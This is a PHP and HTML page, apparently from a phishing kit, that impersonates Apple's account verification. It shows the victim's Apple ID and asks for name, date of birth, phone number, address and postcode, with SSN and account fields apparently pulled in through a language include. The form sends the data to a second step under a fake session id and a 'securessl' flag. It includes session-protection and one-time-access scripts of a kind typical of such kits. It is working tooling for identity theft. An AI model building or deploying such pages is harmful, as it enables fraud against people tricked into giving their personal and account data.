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- <?php
- error_reporting(0);
- require "assets/includes/session_protect.php";
- require "assets/includes/functions.php";
- require "assets/includes/language.mob.php";
- require "assets/includes/One_Time.php";
- require "assets/includes/enc.php";
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
- <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
- <title>Confirm your information</title>
- <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
- <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
- <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
- <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
- <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
- <style>.error {color:red}</style>
- </head>
- <body id="pagecontent">
- <div id="content">
- <div class="bdd45">
- <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
- <div class="HeaderObjHolder">
- <ul class="MobHeader">
- <li class="HeaderObj MobMenIconH">
- <label class="MobMenHol">
- <span class="MobMenIcon MobMenIcon-top">
- <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
- <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
- </label>
- </li>
- <li class="HeaderObj">
- <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text"> </span> </a>
- <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text"> </span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
- </li>
- </ul>
- <ul class="HeaderObjList">
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
- <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
- </ul>
- </div>
- </nav>
- <div id="flow">
- <div class="flow-body signin clearfix" role="main">
- <div class="persona-splash no-photo clearfix">
- <div class="persona-bg"></div>
- <div class="container">
- <div class="splash-section">
- <div class=" person-wrapper">
- <div>
- <div class="row">
- <div class="col-sm-9 appleid-col">
- <div class="flex-container">
- <h1 class="mobile appleid-user">
- <span class="first_name">Account Verification</span>
- <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
- </h1>
- </div>
- </div>
- <div class="not-mobile col-sm-3">
- <div class="flex-container-signout">
- <div class="signout pull-right">
- <button class="btn btn-link">Sign Out </button>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="container">
- <div class="flex home-content">
- <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
- <div class="container flow-sections">
- <div class="editable account-edit clearfix">
- <div class="row edit-row">
- <div class="col-sm-5">
- <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
- <div class="form-group">
- <div class="pop-wrapper field-pop-wrapper first-wrapper">
- <div class="name-input">
- <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="First Name">
- <span id="nameerror"></span>
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="mname" id="mname" class="generic-input-field form-control field" placeholder="Middle Name (optional)">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="Last Name">
- </div>
- <?php echo $lang['ACCOUNT'];?>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- Date of Birth : <br>
- <select class="generic-input-field form-control field" name="dob1" style="width:80px;">
- <option selected value>Day</option>
- <option value="01">01</option>
- <option value="02">02</option>
- <option value="03">03</option>
- <option value="04">04</option>
- <option value="05">05</option>
- <option value="06">06</option>
- <option value="07">07</option>
- <option value="08">08</option>
- <option value="09">09</option>
- <option value="10">10</option>
- <option value="11">11</option>
- <option value="12">12</option>
- <option value="13">13</option>
- <option value="14">14</option>
- <option value="15">15</option>
- <option value="16">16</option>
- <option value="17">17</option>
- <option value="18">18</option>
- <option value="19">19</option>
- <option value="20">20</option>
- <option value="21">21</option>
- <option value="22">22</option>
- <option value="23">23</option>
- <option value="24">24</option>
- <option value="25">25</option>
- <option value="26">26</option>
- <option value="27">27</option>
- <option value="28">28</option>
- <option value="29">29</option>
- <option value="30">30</option>
- <option value="31">31</option>
- </select> 
- <select class="generic-input-field form-control field" name="dob2" style="width:85px;">
- <option selected value>Month</option>
- <option value="01">01</option>
- <option value="02">02</option>
- <option value="03">03</option>
- <option value="04">04</option>
- <option value="05">05</option>
- <option value="06">06</option>
- <option value="07">07</option>
- <option value="08">08</option>
- <option value="09">09</option>
- <option value="10">10</option>
- <option value="11">11</option>
- <option value="12">12</option>
- </select> 
- <select class="generic-input-field form-control field" name="dob3" style="width:80px;">
- <option selected value>Year</option>
- <option value="2012">2012</option>
- <option value="2011">2011</option>
- <option value="2010">2010</option>
- <option value="2009">2009</option>
- <option value="2008">2008</option>
- <option value="2007">2007</option>
- <option value="2006">2006</option>
- <option value="2005">2005</option>
- <option value="2004">2004</option>
- <option value="2003">2003</option>
- <option value="2002">2002</option>
- <option value="2001">2001</option>
- <option value="2000">2000</option>
- <option value="1999">1999</option>
- <option value="1998">1998</option>
- <option value="1997">1997</option>
- <option value="1996">1996</option>
- <option value="1995">1995</option>
- <option value="1994">1994</option>
- <option value="1993">1993</option>
- <option value="1992">1992</option>
- <option value="1991">1991</option>
- <option value="1990">1990</option>
- <option value="1989">1989</option>
- <option value="1988">1988</option>
- <option value="1987">1987</option>
- <option value="1986">1986</option>
- <option value="1985">1985</option>
- <option value="1984">1984</option>
- <option value="1983">1983</option>
- <option value="1982">1982</option>
- <option value="1981">1981</option>
- <option value="1980">1980</option>
- <option value="1979">1979</option>
- <option value="1978">1978</option>
- <option value="1977">1977</option>
- <option value="1976">1976</option>
- <option value="1975">1975</option>
- <option value="1974">1974</option>
- <option value="1973">1973</option>
- <option value="1972">1972</option>
- <option value="1971">1971</option>
- <option value="1970">1970</option>
- <option value="1969">1969</option>
- <option value="1968">1968</option>
- <option value="1967">1967</option>
- <option value="1966">1966</option>
- <option value="1965">1965</option>
- <option value="1964">1964</option>
- <option value="1963">1963</option>
- <option value="1962">1962</option>
- <option value="1961">1961</option>
- <option value="1960">1960</option>
- <option value="1959">1959</option>
- <option value="1958">1958</option>
- <option value="1957">1957</option>
- <option value="1956">1956</option>
- <option value="1955">1955</option>
- <option value="1954">1954</option>
- <option value="1953">1953</option>
- <option value="1952">1952</option>
- <option value="1951">1951</option>
- <option value="1950">1950</option>
- <option value="1949">1949</option>
- <option value="1948">1948</option>
- <option value="1947">1947</option>
- <option value="1946">1946</option>
- <option value="1945">1945</option>
- <option value="1944">1944</option>
- <option value="1943">1943</option>
- <option value="1942">1942</option>
- <option value="1941">1941</option>
- <option value="1940">1940</option>
- <option value="1939">1939</option>
- <option value="1938">1938</option>
- <option value="1937">1937</option>
- <option value="1936">1936</option>
- <option value="1935">1935</option>
- <option value="1934">1934</option>
- <option value="1933">1933</option>
- <option value="1932">1932</option>
- <option value="1931">1931</option>
- <option value="1930">1930</option>
- <option value="1929">1929</option>
- <option value="1928">1928</option>
- <option value="1927">1927</option>
- <option value="1926">1926</option>
- <option value="1925">1925</option>
- <option value="1924">1924</option>
- <option value="1923">1923</option>
- <option value="1922">1922</option>
- <option value="1921">1921</option>
- <option value="1920">1920</option>
- <option value="1919">1919</option>
- <option value="1918">1918</option>
- <option value="1917">1917</option>
- <option value="1916">1916</option>
- <option value="1915">1915</option>
- <option value="1914">1914</option>
- <option value="1913">1913</option>
- <option value="1912">1912</option>
- </select>
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="Phone Number">
- </div>
- </div>
- <?php echo $lang['SSN'];?>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="Address Line ">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper middle-wrapper">
- <div class="name-input">
- <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="Town / City">
- </div>
- </div>
- <div class="form-group clearfix middle-wrapper">
- <div class="select-wrapper">
- <?php echo $lang['COUNTYSELECT'];?>
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper last-wrapper">
- <div class="name-input">
- <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="Post / ZIP Code">
- </div>
- </div>
- <div class="pop-wrapper field-pop-wrapper last-wrapper">
- <div class="name-input">
- <input type="hidden" name="country" class="generic-input-field form-control field" value="<?php echo $lang['COUNTRY'];?>" placeholder="Country">
- </div>
- </div>
- <br>
- <br>
- <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
- </div>
- </div>
- </div>
- </div>
- </div>
- </form>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </body>
- </html>
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